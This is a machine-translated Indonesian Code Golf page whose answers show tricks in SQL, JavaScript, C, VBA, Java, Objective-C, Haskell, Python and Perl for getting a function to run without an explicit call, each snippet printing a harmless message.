Jika Anda benar-benar ingin bersenang-senang dengannya, buat banyak BUKAN pemicu pada Hari April Mop.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Hasil:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Sangat lucu. Lulz seperti itu. Wow.

Tinker menambahkannya di SQLFiddle.

Jonathan Van Matre
sumber
2
Pemicu selalu membuat saya, sebagai pengembang aplikasi, saya tidak pernah mengharapkannya.
Matius
7

JavaScript

Di konsol Firefox:

    this.toString = function(){alert('Wow')};

Kemudian mulai ketik apa saja di konsol - Firefox memanggil .toString()beberapa kali saat Anda mengetik di konsol.

Pendekatan serupa adalah:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;
Ginden
sumber
6

C

Platform pilihan adalah Linux. Kami tidak dapat memanggil fungsi kami, jadi kami akan meminta tautan kami melakukannya:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

Bagaimana cara mendapatkan alamat ajaib?

Kami mengandalkan Spesifikasi Core Basis Standar Linux, yang mengatakan:

.fini_array

Bagian ini memiliki array pointer fungsi yang berkontribusi pada array terminasi tunggal untuk objek yang dapat dieksekusi atau dibagikan yang berisi bagian tersebut.

  1. Kompilasi kode:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Periksa alamat .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Temukan VMA-nya:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

dan ganti nilai itu untuk ADDRESS.

Michael Foukarakis
sumber
5

VB6 dan VBA

Tidak yakin apakah ini memenuhi syarat atau tidak, karena memanggil metode kelas:

Ini berlaku dalam modul kelas:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

Dan ini adalah kode "panggilan":

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Ini berfungsi dengan menukar fungsi vptr's untuk dua Subs di vtable untuk kelas.

Komintern
sumber
Bung, kau berbahaya ! Yang bagus!
Mathieu Guindon
Saya akan mengatakan itu tidak memenuhi syarat, karena di VB6 / VBA sebuah metode adalah anggota dari sebuah kelas - jika itu adalah prosedur ;)
Mathieu Guindon
5

Haskell

Dalam haskell jika Anda melakukannya:

main=putStrLn "This is the main action."

Ini akan dieksekusi segera tanpa memanggil namanya saat Anda menjalankannya. Sihir!

PyRulez
sumber
1
Haskell tidak masuk hitungan. Anda tidak dapat memanggil tindakan IO, hanya rantai tindakan IO lebih ke sana atau menugaskannya di suatu tempat.
John Dvorak
Ini adalah konsep yang setara untuk tindakan IO.
PyRulez
5

Javascript

Mudah, cukup gunakan on___acara di JS. Sebagai contoh:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'
Gagang pintu
sumber
4

Jawa

Jawaban java lainnya dari saya. Seperti yang Anda lihat dalam kode, kode itu langsung memanggil theCalledMethod, tetapi metode notCalledMethodini dijalankan sebagai gantinya.

Jadi, pada akhirnya saya melakukan 2 hal:

  • Memanggil metode tanpa memanggilnya.
  • Tidak memanggil metode dengan memanggilnya.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Menjalankannya:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>
Victor Stafusa
sumber
Ini tergantung platform. Secara khusus, ini kemungkinan akan gagal pada OS X di mana pengkodean karakter default platform adalah UTF-8.
ntoskrnl
@ntoskrnl Ini seharusnya mudah untuk diperbaiki jika Anda meneruskan nama penyandian sebagai parameter ke getBytes()metode, menyalakannya getBytes("UTF-8"). Karena saya tidak memiliki OS X, dapatkah Anda menguji apakah ini berfungsi?
Victor Stafusa
UTF-8 tidak berfungsi untuk data biner. Pengodean byte tunggal seperti ISO-8859-1 seharusnya berfungsi, tetapi memperlakukan data biner sebagai string masih salah.
ntoskrnl
3
@ntoskrnl Bahkan, memperkosa classfiles untuk melakukan hal yang saya lakukan di sini adalah salah, pengkodean adalah yang terkecil dari masalah. :)
Victor Stafusa
4

Python

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')
Geoff Reedy
sumber
4

Jawa

Yay, pengumpulan sampah!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Versi untuk mereka yang mau tidak mau akan mengatakan itu System.gc()tidak dapat diandalkan:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}
asteri
sumber
4

Objektif-C

(Mungkin hanya jika dikompilasi dengan dentang di Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Kode ini menggunakan beberapa trik untuk sampai ke fungsi yang tidak digunakan. Pertama adalah nilai 0x2A27. Ini adalah penunjuk yang ditandai untuk bilangan bulat 42, yang menyandikan nilai dalam penunjuk untuk menghindari mengalokasikan objek.

Berikutnya adalah MyClass. Itu tidak pernah digunakan, tetapi runtime memanggil +loadmetode ketika itu dimuat, sebelumnya main. Ini secara dinamis membuat dan mendaftarkan kelas baru, menggunakan NSValuesebagai superclass-nya. Itu juga menambahkan +loadmetode untuk kelas itu, menggunakan MyClass's -unusedMethodsebagai implementasinya. Setelah pendaftaran, ia memanggil metode memuat di kelas baru (untuk beberapa alasan itu tidak dipanggil secara otomatis).

Karena metode beban kelas baru menggunakan implementasi yang sama dengan unusedMethod, yang secara efektif disebut. Dibutuhkan superkelas itu sendiri, dan ditambahkan unusedFunctionsebagai implementasi untuk doesNotRecognizeSelector:metode kelas itu . Metode ini awalnya merupakan metode instance on MyClass, tetapi sedang dipanggil sebagai metode kelas pada kelas baru, demikian selfjuga objek kelas baru. Oleh karena itu, superclass adalah NSValue, yang juga merupakan superclass untuk NSNumber.

Akhirnya, mainlari. Dibutuhkan nilai pointer dan menempelkannya dalam NSString *variabel (pemain __bridgedan pertama yang void *memungkinkan ini untuk digunakan dengan atau tanpa ARC). Kemudian, ia mencoba memanggil stringByAppendingString:variabel itu. Karena sebenarnya angka, yang tidak menerapkan metode itu, doesNotRecognizeSelector:metode ini disebut sebagai gantinya, yang perjalanan melalui hirarki kelas untuk NSValuemana ia diimplementasikan menggunakan unusedFunction.


Catatan: ketidakcocokan dengan sistem lain adalah karena penggunaan penunjuk yang ditandai, yang saya tidak percaya telah dilaksanakan oleh implementasi lain. Jika ini diganti dengan nomor yang biasanya dibuat, sisa kode harus bekerja dengan baik.

ughoavgfhw
sumber
Hm, coba dengan ciruZ 'ObjFW , ini adalah runtime dan framework Objective-C yang lumayan bagus, mungkin ini, atau sesuatu yang dekat, akan bekerja dengannya juga ;-)
mirabilos
@mirabilos Satu-satunya ketidakcocokan di dalamnya adalah 0x2A27nilai, jadi saya tidak tahu apakah itu diterapkan di tempat lain. ObjFW jelas menarik.
ughoavgfhw
0x2A27adalah pointer tag
Bryan Chen
@Bryan, terima kasih! Saya mencari artikel yang tepat dan tidak dapat mengingat nama yang tepat.
ughoavgfhw
@BryanChen ah baiklah. ughoavgfhw: Tentu, hanya ingin menunjukkan runtime alternatif jika Anda ingin bermain dengannya.
mirabilos
3

Javascript

Saya merasa seperti ini tidak secara eksplisit terlihat seperti memanggil fungsi

window["false"] =  function() { alert("Hello world"); }
window[![]]();
Danny
sumber
5
Batas yang cukup jika Anda bertanya kepada saya.
Cole Johnson
@ColeJohnson Saya pikir dia sudah melewatinya ...
Tomas
3

C # (via using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}
mikrobia
sumber
3

Jawa

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Saya mengambil keuntungan dari fitur khusus serialisasi Java. The readObjectMetode dipanggil ketika objek deserialized, tapi tidak langsung disebut - tidak dengan kode saya, juga oleh perpustakaan deserialization. Jika Anda menggali lebih dalam ke sumbernya, Anda akan melihat bahwa pada tingkat rendah metode ini dipanggil secara internal melalui refleksi.

Kevin K.
sumber
ya; serialisasi memungkinkan lelucon yang sangat lucu :); btw ada cara serupa di
lobs
3

Perl

Ini sangat mudah. Kode di bawah ini secara otomatis menjalankan kode dalam subrutin, bahkan tanpa panggilan eksplisit.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Bahkan jika Anda batalkan komentar pada panggilan, itu masih akan dipanggil hanya sekali.

Konrad Borowski
sumber
bagaimana? tidak bisa di belakang sihir +
masterX244